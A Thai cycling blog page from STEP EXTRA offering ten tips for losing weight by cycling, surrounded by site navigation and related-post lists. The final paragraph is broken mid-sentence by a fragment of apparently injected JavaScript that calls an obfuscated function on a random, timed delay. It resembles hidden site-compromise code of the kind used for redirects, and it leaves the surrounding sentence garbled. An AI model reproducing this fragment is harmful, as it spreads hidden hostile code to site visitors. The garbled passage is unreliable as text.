• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

10 วิธีลดหุ่นโดยการปั่นจักรยาน

stepextra by stepextra
20 November 2014
in Cycling Tips, Tips & Technics
0
10 วิธีลดหุ่นโดยการปั่นจักรยาน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ถ้าเอาง่ายๆ เลยก็คือ burn แคลลอรี่ให้มากกว่าที่รับเข้าไป ฟังดูง่ายใช่มั้ยครับ เเต่ทำจริงนะยากกว่าที่พูด งั้นเราไปดูวิธีที่แบบ creative ทำให้คุณ burn เเคลลอรี่เเบบไม่รู้ตัวกันเลย

1. ฝึก Interval training หรือฝึกเเบบ intensive จะ burn แคลลอรี่มากกว่าวิธีทั่วไป การใช้ Heart rate ให้อยู่ในโซน 2 หรือ fat burning zone อาจจะไม่พอนะครับ

2. ปั่นให้สนุก อย่าคิดว่าคุณปั่นเพราะต้องการลดน้ำหนัก ยิ่งคุณรักการปั่นมากเท่าไหร คุณก็จะอยู่กับมันมากขึ้น ยิ่งปั่นมากยิ่ง burn มากครับ ลองจินตนาการว่ากำลังเเข่ง Tour De France ก็ได้ครับจะได้มีอารมณ์ร่วม ถ้าปั่นเพราะต้องลดน้ำหนัก ต้องลงต้องลง รับรองไปไม่ถึงฝั่งเเน่นอนครับ

3. ยินดีต้อนรับสู่โลกของจักรยาน คุณต้องเข้าสู่โลกของจักรยานครับ อ้าเเขนรับ Bike Cullture ไปเลยครับ จะเป็น Racer, Fixed gear, touring ก็ได้ ดีทั้งนั้นครับ ต้องอินกับวัฒนธรรมของจักรยาน เเล้วคุณจะรู้ว่าทำไมคนหลายคนจึงหลงรักจักรยานมากนัก

4. หาเพื่อน อย่าฉายเดียวครับ ไม่งั้นไม่สนุก การมีเพื่อนจะช่วยกระตุ้นให้มีกิจกรรมเยอะขึ้น ปั่นมากขึ้นเเละนานมากขึ้นครับ ลองดูตามร้านซ่อมหรือร้านขายจักรยานก็ได้รับรองว่าเจอเพื่อนเเน่นอน เผลอๆ เจอเนื้อคู้ด้วยนะ

5. ดาวน์โหลด App ครับ อย่างน้อยก็ลองใช้ Runtastic Road Bike App ครับ เป็นการเก็บสถิติตัวเอง เพื่อการพัฒนาตนเองว่าปั่นได้ไกลเเค่ไหน นานเเค่ไหน เเละสามารถเเชร์ให้เพื่อนๆ ดูได้ด้วย จะได้มีกำลังใจเวลาออกกำลังกาย

6. เพิ่มความท้าทายให้ตัวเอง ถ้าใช้เส้นทางเดิมเป็นประจำก็ลองทำเวลาให้ดีขึ้น หรือลองออกก๊วนไปปั่นนอกสถานที่ ปั่นเอาเเบบที่เค้าเเข่งกันเลยว่างั้น ทำสัปดาห์ละครั้งก็พอ มากไปเดียวจะ over training

7. ต้องเป็นพวก hardcore หรือ creative ไอเดียใหม่ๆ ดูบ้าง คุณต้องลองออกงานเเข่ง หรือกิจกรรมใหญ่ดูบ้าง ปั่นไปทำงานสักสัปดาห์หนึ่งก็ดีนะ

8. การพักผ่อนเเละการดื่มน้ำเป้นเรื่องสำคัญ ร่างกายเราจะมีการปรับตัวเพราะฉะนั้นเวลาพักผ่อนต้องมีการเปลี่ยนแปลงบ้าง ลองเข้านอนให้เร็วกว่าเดิมดู ดื่มน้ำให้มากขึ้นเเละเวลาออกกำลังการก็ควรพกน้ำไปด้วย อย่าปล่อยให้ขาดน้ำ

9. สร้างวันสำคัญ ลองปั่น 100 กิโลเพื่อฉลองวันเกิดตัวเองดู ทำอะไรที่พิเศษในวันที่สำคัญสักครั้งสองครั้งต่อปีก็ไม่เลวเลย

10. สร้างสุขนิสัย เชื่อได้ว่าเมื่อเราปั่นมาถึงจุดหนึ่งๆ เเล้ว มันก็จะเปลี่ยนเป็นนิสัยของเรา พยายามปั่นบ่อยๆ ในเส้นทางเดิมๆ ให้ติดเป้นนิสัย มันก็จะทำให้เราไม่ต้องใช้รถยนต์ไปเลย พยายามสร้างสรรค์กิจกรรมใหม่ๆ เพื่อเลี่ยงความจำเจ ก็ดีนะครับ

computrainers_bicycle_04

จักรยานเป็นกีฬาประเภท low impact และสามารถออกไปตัวเนื่องเป็นเวลานาน พยายามปั่นให้บ่อย สนุกกับมัน หาเพื่อนไปด้วย เเค่นีก็ Healthy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay fit ได้ไม่ยากครับ

Tags: Cyclinghealthy
ShareTweetShare
stepextra

stepextra

Related Posts

Cycling Tips

แผนเสือซุ่มพิชิตระยะทาง 23.5K สนามเจริญสุขมงคลจิต (HAPPY AND HEALTHY BIKE LANE)

27 November 2018
Cycling Tips

Long-Distance Cycling: ทิป 7 ข้อสำหรับการปั่นระยะไกล

14 November 2018
Review: Runtastic Orbit คู่ใจคนรักสุขภาพ ตามติดทุกก้าวเดินของคุณ
Feature

Review: Runtastic Orbit คู่ใจคนรักสุขภาพ ตามติดทุกก้าวเดินของคุณ

10 June 2015
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.